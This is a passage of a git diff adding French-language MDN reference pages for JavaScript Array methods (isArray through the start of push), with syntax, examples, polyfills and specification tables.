+Array.isArray(true);
+Array.isArray(false);
+Array.isArray(new Uint8Array(32));
+Array.isArray({ __proto__ : Array.prototype });
+
+ +

Prothèse d'émulation (polyfill)

+ +

Exécuter ce code avant tout les autres aboutira à la création de la méthode Array.isArray()si elle n'est pas nativement prise en charge par le navigateur.

+ +
if(!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.isArray")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/join/index.html b/files/fr/web/javascript/reference/global_objects/array/join/index.html new file mode 100644 index 0000000000..e28efaae77 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/join/index.html @@ -0,0 +1,110 @@ +--- +title: Array.prototype.join() +slug: Web/JavaScript/Reference/Objets_globaux/Array/join +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/join +--- +
{{JSRef}}
+ +

La méthode join() crée et renvoie une nouvelle chaîne de caractères en concaténant tous les éléments d'un tableau (ou d'un objet semblable à un tableau). La concaténation utilise la virgule ou une autre chaîne, fournie en argument, comme séparateur.

+ +
{{EmbedInteractiveExample("pages/js/array-join.html")}}
+ + + +

Syntaxe

+ +
arr.join()
+arr.join(séparateur)
+
+ +

Paramètres

+ +
+
séparateur {{optional_inline}}
+
Ce paramètre optionnel indique une chaine de caractères pour séparer chaque élément du tableau. Le séparateur est converti en une chaine de caractères si nécessaire. Si ce paramètre n'est pas utilisé, les éléments du tableau seront séparés par une virgule (,). Si ce paramètre est la chaîne vide, les éléments seront accolés les uns aux autres sans espace entre. La valeur par défaut de ce paramètre est ",".
+
+ +

Valeur de retour

+ +

Une chaîne de caractères composée de tous les éléments du tableau joints les uns aux autres. Si la longueur du tableau (arr.length) vaut 0, c'est la chaîne vide qui est renvoyée. Si le tableau ne contient qu'un élément, sa version texte sera renvoyée sans être suivie du séparateur.

+ +

Description

+ +

Les différents éléments du tableau sont convertis en une chaîne de caractères puis fusionnés en une seule chaîne. Si un élément vaut undefined ou null, il sera converti en la chaîne vide. Cette fonction est générique et peut donc être utilisée avec les objets semblables aux tableaux.

+ +

Exemples

+ +

Fusionner un tableau de quatre façons différentes

+ +

L'exemple suivant crée un tableau, a, avec trois éléments, puis joint le tableau à trois reprises : en utilisant le séparateur par défaut, une virgule et un espace, puis un plus, puis avec la chaîne vide.

+ +
var a = new Array("Vent","Pluie","Feu");
+a.join();      // "Vent,Pluie,Feu"
+a.join(", ");  // "Vent, Pluie, Feu"
+a.join(" + "); // "Vent + Pluie + Feu"
+a.join("");    // "VentPluieFeu"
+ +

Fusionner un objet semblable à un tableau

+ +

Dans l'exemple suivant, on effectue la fusion sur un objet semblable à un tableau (arguments) en appelant {{jsxref("Function.prototype.call")}} sur Array.prototype.join.

+ +
function f(a, b, c) {
+  var s = Array.prototype.join.call(arguments);
+  console.log(s);
+}
+f(1, 'a', true); // '1,a,true'
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.join")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.split()")}}
    • +
  • {{jsxref("Array.prototype.toString()")}}
    • +
  • {{jsxref("TypedArray.prototype.join()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/keys/index.html b/files/fr/web/javascript/reference/global_objects/array/keys/index.html new file mode 100644 index 0000000000..b9907b9340 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/keys/index.html @@ -0,0 +1,87 @@ +--- +title: Array.prototype.keys() +slug: Web/JavaScript/Reference/Objets_globaux/Array/keys +tags: + - Array + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys +--- +
{{JSRef}}
+ +

La méthode keys() renvoie un nouvel objet Array Iterator qui contient les clefs pour chaque indice du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-keys.html")}}
+ + + +

Syntaxe

+ +
arr.keys()
+ +

Valeur de retour

+ +

Un nouvel objet itérateur pour {{jsxref("Array")}}.

+ +

Exemples

+ +

Utilisation simple

+ +
var arr = ["a","b","c"];
+var itérateur = arr.keys();
+
+console.log(itérateur.next()); // { value: 0, done: false }
+console.log(itérateur.next()); // { value: 1, done: false }
+console.log(itérateur.next()); // { value: 2, done: false }
+console.log(itérateur.next()); // { value: undefined, done: true }
+
+ +

Un itérateur de clés prend en compte les trous

+ +
var arr = ["a", , "c"];
+var clésCreuses = Object.keys(arr);
+var clésDenses = [...arr.keys()];
+console.log(clésCreuses); // ["0", "2"]
+console.log(clésDenses);  // [0, 1, 2]
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.keys")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/fr/web/javascript/reference/global_objects/array/lastindexof/index.html new file mode 100644 index 0000000000..cc7d68a61a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/lastindexof/index.html @@ -0,0 +1,167 @@ +--- +title: Array.prototype.lastIndexOf() +slug: Web/JavaScript/Reference/Objets_globaux/Array/lastIndexOf +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf +--- +
{{JSRef}}
+ +

La méthode lastIndexOf() permet de renvoyer le dernier indice pour lequel une valeur donnée est présente dans un tableau. Si la valeur recherchée n'est pas présente, le résultat sera -1. Lors de la recherche, le tableau est parcouru dans le sens des index décroissants, à partir de l'index indexDébut.

+ +
{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}
+ + + +

Syntaxe

+ +
arr.lastIndexOf(élémentRecherché)
+arr.lastIndexOf(élémentRecherché, indexDébut)
+
+ +

Paramètres

+ +
+
élémentRecherché
+
L'élément à qu'on cherche dans le tableau.
+
indexDébut {{optional_inline}}
+
L'index à partir duquel commencer la recherche dans le tableau (la recherche s'effectuant à l'envers). Si le paramètre est absent, sa valeur par défaut sera la longueur du tableau moins 1 (c'est-à-dire arr.length - 1), le tableau sera alors parcouru dans sa totalité. Si l'index est plus grand ou égal à la longueur du tableau, le tableau sera parcouru en entier. Si l'index est négatif, la recherche commencera d'autant d'éléments à partir de la fin du tableau. À noter que, même si l'index est négatif, la recherche s'effectuera toujours de la fin jusqu'au début du tableau. Si l'index calculé est inférieur à 0, la méthode renverra -1 et le tableau ne sera pas parcouru.
+
+ +

Valeur de retour

+ +

Le dernier index auquel on trouve la valeur dans le tableau, -1 si elle n'est pas trouvée.

+ +

Description

+ +

lastIndexOf compare élémentRecherché aux éléments contenus dans le tableau en utilisant une égalité stricte (l'égalité utilisée par l'opérateur ===).

+ +

Exemples

+ +

Utiliser lastIndexOf

+ +

Dans l'exemple suivant, on utilise lastIndexOf afin de situer une valeur dans un tableau.

+ +
var tableau = [2, 5, 9, 2];
+tableau.lastIndexOf(2);     // 3
+tableau.lastIndexOf(7);     // -1
+tableau.lastIndexOf(2, 3);  // 3
+tableau.lastIndexOf(2, 2);  // 0
+tableau.lastIndexOf(2, -2); // 0
+tableau.lastIndexOf(2, -1); // 3
+ +

Trouver toutes les occurrences d'un élément

+ +

L’exemple suivant utilise lastIndexOf pour trouver tous les index (indices) d’un élément dans un tableau donné, en utilisant {{jsxref("Array.prototype.push", "push")}} pour les ajouter dans un autre tableau quand ils sont trouvés.

+ +
var indices = [];
+var tableau = ['a', 'b', 'a', 'c', 'a', 'd'];
+var élément = 'a';
+var idx = tableau.lastIndexOf(élément);
+while (idx !== -1) {
+  indices.push(idx);
+  idx = (idx > 0 ? tableau.lastIndexOf(élément, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+ +

Remarquez que nous avons dû traiter le cas de idx === 0 séparément (idx > 0) parce que l’élément sera toujours trouvé, indépendamment du paramètre de fromIndex, si c’est le premier élément du tableau. C’est une différence avec la méthode {{jsxref("Array.prototype.indexOf", "indexOf")}}.

+ + +

Prothèse d'émulation (polyfill)

+ +

lastIndexOf a été ajouté avec la cinquième édition du standard ECMA-262 ; il peut donc ne pas être présent dans tous les navigateurs web. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts. Il vous permettra d'utiliser lastIndexOf avec les navigateurs qui ne le supportent pas nativement. L'algorithme qui suit est le même que celui spécifié par ECMAScript 5 si {{jsxref("Object", "Object")}}, {{jsxref("TypeError", "TypeError")}}, {{jsxref("Number", "Number")}}, {{jsxref("Math.floor")}}, {{jsxref("Math.abs")}}, et {{jsxref("Math.min")}} n'ont pas été modifiés et conservent leurs valeurs originales.

+ +
// Production steps of ECMA-262, Edition 5, 15.4.4.15
+// Reference: http://es5.github.io/#x15.4.4.15
+if (!Array.prototype.lastIndexOf) {
+  Array.prototype.lastIndexOf = function(searchElement /*, fromIndex*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var n, k,
+      t = Object(this),
+      len = t.length >>> 0;
+    if (len === 0) {
+      return -1;
+    }
+
+    n = len - 1;
+    if (arguments.length > 1) {
+      n = Number(arguments[1]);
+      if (n != n) {
+        n = 0;
+      }
+      else if (n != 0 && n != (1 / 0) && n != -(1 / 0)) {
+        n = (n > 0 || -1) * Math.floor(Math.abs(n));
+      }
+    }
+
+    for (k = n >= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k >= 0; k--) {
+      if (k in t && t[k] === searchElement) {
+        return k;
+      }
+    }
+    return -1;
+  };
+}
+ +

On notera que cette implémentation vise une compatibilité absolue de lastIndexOf dans Firefox et le moteur JavaScript SpiderMonkey, incluant plusieurs cas très particuliers. Si vous comptez l'utiliser dans une application, vous devriez pouvoir calculer from avec un code beaucoup moins compliqué.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.lastIndexOf")}}

+
+ +

Notes de compatibilité

+ +
    +
  • À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus -0. Ainsi, [0].lastIndexOf(0, -0) renverra toujours +0 (cf. {{bug(1242043)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.indexOf()")}}
    • +
  • {{jsxref("TypedArray.prototype.lastIndexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/length/index.html b/files/fr/web/javascript/reference/global_objects/array/length/index.html new file mode 100644 index 0000000000..b586607721 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/length/index.html @@ -0,0 +1,123 @@ +--- +title: Array.prototype.length +slug: Web/JavaScript/Reference/Objets_globaux/Array/length +tags: + - Array + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/length +--- +
{{JSRef}}
+ +

La propriété length (longueur) est un entier non-signé de 32 bits qui indique le nombre d'éléments présents dans le tableau. Elle est toujours supérieure au plus grand indice du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-length.html")}}
+ + + +

Description

+ +

La valeur de la propriété length est un entier de signe positif dont la valeur est inférieure à 2 à la puissance 32 (232).

+ +
var tableauA = new Array(4294967296); // 2 à la puissance 32 = 4294967296
+var tableauC = new Array(-100) // une valeur négative
+
+console.log(tableauA.length); // RangeError: Invalid array length
+console.log(tableauC.length); // RangeError: Invalid array length
+
+var tableauB = [];
+tableauB.length = Math.pow(2,32)-1; // On déclare une longueur inférieure à 2 puissance 32
+console.log(tableauB.length); // 4294967295
+
+ +

Vous pouvez modifier la propriété length d'un tableau à loisir pour le tronquer. Quand vous étendez un tableau en modifiant la valeur de sa propriété length, le nombre d'éléments réellement présents dans ce tableau n'augmente pas : par exemple, si vous affectez la valeur 3 à la propriété length d'un tableau alors qu'elle vaut 2, le tableau contiendra toujours seulement 2 éléments. La troisième « case » ne sera pas itérable. De ce fait, la propriété length d'un tableau ne renseigne en rien sur le nombre de valeurs définies dans le tableau. Voir aussi la relation entre longueur et propriétés numériques.

+ +
const arr = [1, 2, 3];
+console.table(arr);
+// [1, 2]
+
+arr.length = 5; // On définit une longueur à 5
+console.table(arr);
+// [1, 2, <3 éléments vides>]
+
+arr.forEach(element => console.log(element));
+// 1
+// 2
+
+ +

{{js_property_attributes(1,0,0)}}

+ +

Exemples

+ +

Renvoyer la longueur d'un tableau

+ +
var items = ["chaise", "bureau", "table", "sac"];
+items.length; // 4
+
+ +

Parcourir un tableau

+ +

Dans l'exemple suivant, on itère sur le tableau nombres en utilisant la propriété length afin de connaître son nombre d'élément. La valeur de chaque élément est ensuite multipliée par deux :

+ +
var nombres = [1,2,3,4,5];
+
+for (var i = 0; i < nombres.length; i++) {
+  nombres[i] *= 2;
+}
+// nombres vaut maintenant [2,4,6,8,10];
+
+ +

Tronquer un tableau

+ +

L'exemple suivant raccourcit le tableau etatsUS à 50 si sa longueur actuelle est supérieure à 50.

+ +
if (etatsUS.length > 50) {
+   etatsUS.length = 50;
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.length")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/map/index.html b/files/fr/web/javascript/reference/global_objects/array/map/index.html new file mode 100644 index 0000000000..2cdabaddba --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/map/index.html @@ -0,0 +1,215 @@ +--- +title: Array.prototype.map() +slug: Web/JavaScript/Reference/Objets_globaux/Array/map +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/map +--- +
{{JSRef}}
+ +

La méthode map() crée un nouveau tableau avec les résultats de l'appel d'une fonction fournie sur chaque élément du tableau appelant.

+ +
{{EmbedInteractiveExample("pages/js/array-map.html")}}
+ + + +

Syntaxe

+ +
var nouveauTableau = arr.map(callback [, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction qui est utilisée pour créer un élément du nouveau tableau. Elle utilise trois arguments : +
+
valeurCourante
+
La valeur de l'élément du tableau à traiter.
+
index{{optional_inline}}
+
L'index de l'élément qui est traité par la fonction.
+
tableau{{optional_inline}}
+
Le tableau sur lequel on a appelé la méthode map.
+
+
+
thisArg {{optional_inline}}
+
La valeur à utiliser pour this lors de l'exécution de callback. La valeur par défaut est l'objet global de l'environnement (Window pour un navigateur).
+
+ +

Valeur de retour

+ +

Un nouveau tableau composé des images de la fonction de rappel.

+ +

Description

+ +

Lorsqu'on utilise map, la fonction callback fournie en argument est exécutée une fois pour chacun des éléments du tableau, dans l'ordre du tableau. Chaque résultat de l'opération sur un élément sera un élément du nouveau tableau. La fonction callback est appelée uniquement pour les indices du tableau pour lesquels il y a des valeurs affectées (y compris si cette valeur est {{jsxref("undefined")}}). Si les valeurs ont été supprimées ou qu'elles n'ont jamais été initialisées, la fonction ne sera pas appelée.

+ +

callback est appelée avec trois arguments : la valeur de l'élément du tableau, l'index de cet élément et l'objet {{jsxref("Array")}} qui est parcouru.

+ +
+

Attention ! map() construit un nouveau tableau. Si on utilise cette méthode sans utiliser le résultat, mieux vaudra utiliser forEach ou for...of.  Pour mieux décider si map()est adéquat, regardez si vous utilisez la valeur de retour et/ou si vous renvoyez une valeur avec la fonction callback : si ce n'est pas le cas, il ne faut pas utiliser map().

+
+ +

Si le paramètre thisArg est utilisé, il sera utilisé en tant que this par la fonction callback lorsqu'elle sera appelée. S'il n'est pas utilisé, ce sera la valeur {{jsxref("undefined")}} qui sera utilisée pour définir this. La valeur this finalement prise en compte par la fonction callback est définie selon les règles usuelles qui déterminent la valeur this observée par une fonction.

+ +

map ne modifie pas le tableau sur lequel elle est appelée (bien que la fonction callback, si elle est appelée, puisse modifier le tableau).

+ +

La liste des éléments à traiter lors de l'opération map est définie avant le premier appel à callback. Les éléments qui sont ajoutés au tableau après que l'appel à map ait été initié ne seront pas traités par la fonction callback. Si des éléments ont été modifiés, la valeur utilisée par la fonction callback sera celle au moment où map est utilisée. Les éléments qui sont supprimés ne sont pas traités. De la même façon, si on applique map sur un tableau dont certains éléments sont indéfinis, le résultat possèdera également les mêmes éléments indéfinis.

+ +

Exemples

+ +

Créer un tableau des racines carrées d'un tableau de nombre

+ +

Dans l'exemple suivant, on crée un tableau composé des racines carrées des éléments d'un premier tableau :

+ +
var nombres = [1, 4, 9];
+var racines = nombres.map(Math.sqrt);
+// racines vaut désormais [1, 2, 3]
+// nombres vaut toujours [1, 4, 9]
+
+ +

Créer un tableau de nombres avec une fonction à un argument

+ +

Ici, on illustre le fonctionnement de map avec une fonction à un argument. Cet argument sera automatiquement remplacé par chaque élément du tableau au fur et à mesure que map parcourt le tableau :

+ +
var nombres = [1, 4, 9];
+var doubles = nombres.map(function(num) {
+  return num * 2;
+});
+// doubles vaut désormais [2, 8, 18].
+// nombres vaut toujours [1, 4, 9]
+
+ +

Utiliser map pour changer le format d'objets dans un tableau

+ +

Dans le code qui suit, on utilise un tableau d'objets pour créer un autre tableau contenant de nouveaux objets dans un autre format :

+ +
var tableauOrig = [{clé:1, valeur:10}, {clé:2, valeur:20}, {clé:3, valeur: 30}];
+var tableauFormaté = tableauOrig.map(obj => {
+  var rObj = {};
+  rObj[obj.clé] = obj.valeur;
+  return rObj;
+});
+// tableauFormaté vaut maintenant [{1:10}, {2:20}, {3:30}],
+// tableauOrig vaut toujours
+// [{clé:1, valeur:10},
+//  {clé:2, valeur:20},
+//  {clé:3, valeur: 30}
+// ]
+
+ +

Utiliser map de façon générique

+ +

Dans cet exemple, on voit comment utiliser la fonction map sur une chaîne de caractères pour obtenir un tableau contenant les codes ASCII des valeurs encodées :

+ +
var map = Array.prototype.map;
+var a = map.call('Hello World', function(x) { return x.charCodeAt(0); });
+// a vaut désormais [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
+
+ +

Utiliser map avec querySelectorAll

+ +

Dans cet exemple, on illustre comment utiliser la méthode map de façon générique, sur un tableau d'objets collectés grâce à querySelectorAll :

+ +
var elems = document.querySelectorAll('select option:checked');
+var values = Array.prototype.map.call(elems, function(obj) {
+  return obj.value;
+});
+
+ +

On aurait également pu utiliser la méthode {{jsxref("Array.from()")}} qui permet de produire un tableau à partir d'un objet itérable.

+ +

Un résultat inattendu

+ +

Exemple inspiré par ce billet (en anglais)

+ +

Il est fréquent d'utiliser la fonction callback avec un seul argument (l'élément en cours). Certaines fonctions natives sont également souvent appelées avec un unique argument même si elles peuvent prendre en compte plusieurs arguments. En combinant ces deux « habitudes », on peut obtenir certains résultats inattendus :

+ +
// Si on utilise :
+['1', '2', '3'].map(parseInt);
+// On s'attend à obtenir [1, 2, 3]
+// Le résultat qu'on obtient est en fait [1, NaN, NaN]
+
+// parseInt est souvent utilisé avec un argument mais il
+// peut être utilisé avec deux arguments
+// Le premier correspond à l'expression à parser et le second
+// à la base dans laquelle convertir
+// Array.prototype.map passe 3 arguments à callback :
+// l'élément, l'index et le tableau
+// Le troisième argument sera ignoré par parseInt mais pas le
+// deuxième, ce qui donnera ce résultat étrange
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// Le résultat qu'on obtient avec la fonction auxiliaire
+
+['1', '2', '3'].map(parseInt);  // [1, NaN, NaN]
+// car map passe trois argument à la fonction et que parseInt
+// considère le second argument comme base.
+// En détails :
+// Premier élément :   "1" à l'indice 0 : parseInt("1",0); donne 1
+// Deuxième élément :  "2" à l'indice 1 : parseInt("2",1); donne NaN
+// Troisième élément : "3" à l'indice 2 : parseInt("3",2); donne NaN
+
+
+// Formulation équivalente plus concise avec
+// une fonction fléchée
+['1', '2', '3'].map( str => parseInt(str));
+
+// Une autre méthode, plus simple
+['1', '2', '3'].map(Number); // [1, 2, 3]
+// à la différence de parseInt, cela fonctionnera pour les
+// nombres décimaux ou en notation exponentielle
+['1.1', '2.2e2', '3e300'].map(Number); // [1.1, 220, 3e+300]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.map")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • L'objet {{jsxref("Map")}}
    • +
  • {{jsxref("Array.from()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/of/index.html b/files/fr/web/javascript/reference/global_objects/array/of/index.html new file mode 100644 index 0000000000..ffd20e3bf1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/of/index.html @@ -0,0 +1,105 @@ +--- +title: Array.of() +slug: Web/JavaScript/Reference/Objets_globaux/Array/of +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Méthode + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/of +--- +
{{JSRef}}
+ +

La methode Array.of() permet de créer une nouvelle instance d'objet Array à partir d'un nombre variable d'arguments, quels que soient leur nombre ou leur type.

+ +

La différence entre Array.of() et le constructeur Array se situe dans la gestion de d'arguments entiers : Array.of(7) crée un tableau avec un seul élément, 7, tandis que Array(7) produit un tableau avec 7 éléments vides (à ne pas confondre avec des éléments qui auraient explicitement la valeur undefined).

+ +
Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // un tableau avec 7 emplacements vides
+Array(1, 2, 3);    // [1, 2, 3]
+
+ +

Syntaxe

+ +
Array.of(element0[, element1[, ...[, elementN]]])
+
+ +

Paramètres

+ +
+
element0, element1, ..., elementN
+
Les éléments avec lesquels on souhaite construire le nouveau tableau.
+
+ +

Valeur de retour

+ +

Une nouvelle instance de {{jsxref("Array")}}.

+ +

Description

+ +

Cette fonction fait partie du standard ECMAScript 2015. Pour plus d'informations, voir les pages sur la proposition pour Array.of et Array.from ainsi que la page sur le fragment d'émulation pour Array.of.

+ +
Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]
+
+ +

Exemples

+ +
Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+
+ +

Prothèse d'émulation (polyfill)

+ +

Exécuter ce code avant tout autre code permettra de créer la méthode Array.of() si elle n'est pas prise en charge nativement.

+ +
if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.of")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array", "Array")}}
    • +
  • {{jsxref("Array/from", "Array.from")}}
    • +
  • {{jsxref("TypedArray.of()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/pop/index.html b/files/fr/web/javascript/reference/global_objects/array/pop/index.html new file mode 100644 index 0000000000..7d06b9f5f7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/pop/index.html @@ -0,0 +1,111 @@ +--- +title: Array.prototype.pop() +slug: Web/JavaScript/Reference/Objets_globaux/Array/pop +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop +--- +
{{JSRef}}
+ +

La méthode pop() supprime le dernier élément d'un tableau et retourne cet élément. Cette méthode modifie la longueur du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-pop.html")}}
+ + + +

Syntaxe

+ +
arr.pop()
+ +

Valeur de retour

+ +

L'élément qui a été retiré du tableau. Si le tableau est vide, elle renvoie {{jsxref("undefined")}}.

+ +

Description

+ +

La méthode pop() supprime le dernier élément d'un tableau et retourne cette valeur.

+ +

pop() est volontairement générique ; cette méthode peut être {{jsxref("Function.call", "appelée")}} ou {{jsxref("Function.apply", "appliquée")}} pour des objets ressemblant à des tableaux. Les objets qui ne contiennent pas une propriété length reflétant la fin d'une série de propriétés consécutives numérotées peuvent se comporter bizarrement.

+ +

Si vous appelez pop() sur un tableau vide, il renverra la valeur {{jsxref("undefined")}}.

+ +
+

Note : La méthode {{jsxref("Array.prototype.shift()")}} possède un comportement analogue mais retire le premier élément du tableau.

+
+ +

Exemples

+ +

Supprimer le dernier élément d'un tableau

+ +

Le code suivant crée le tableau mesPoissons qui contient quatre éléments puis supprime le dernier élément.

+ +
var mesPoissons = ["angel", "clown", "mandarin", "sturgeon"];
+
+var popped = mesPoissons.pop();
+
+console.table(mesPoissons); // angel, clown, madarin
+console.log(popped);        // sturgeon
+ +

Utiliser apply() ou call() sur les objets semblables aux tableaux

+ +

Le code suivant crée un objet mesPoissons semblable à un tableau, qui contient 4 propriétés indexées avec des nombres et une propriété length. On utilise la méthode {{jsxref("Function.call()")}} pour invoquer pop() sur cet objet :

+ +
var mesPoissons = {0: 'angel', 1: 'clown', 2: 'mandarin', 3: 'sturgeon', length: 4};
+
+var popped = Array.prototype.pop.call(mesPoissons); // on aurait pu utiliser apply()
+console.log(mesPoissons); // {0: 'angel', 1: 'clown', 2: 'mandarin', length: 3}
+console.log(popped);      // 'sturgeon'
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.pop")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.push()")}}
    • +
  • {{jsxref("Array.prototype.shift()")}}
    • +
  • {{jsxref("Array.prototype.unshift()")}}
    • +
  • {{jsxref("Array.prototype.splice()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/push/index.html b/files/fr/web/javascript/reference/global_objects/array/push/index.html new file mode 100644 index 0000000000..1ca8d57e8f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/push/index.html @@ -0,0 +1,144 @@ +--- +title: Array.prototype.push() +slug: Web/JavaScript/Reference/Objets_globaux/Array/push +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/push +--- +
{{JSRef}}
+ +

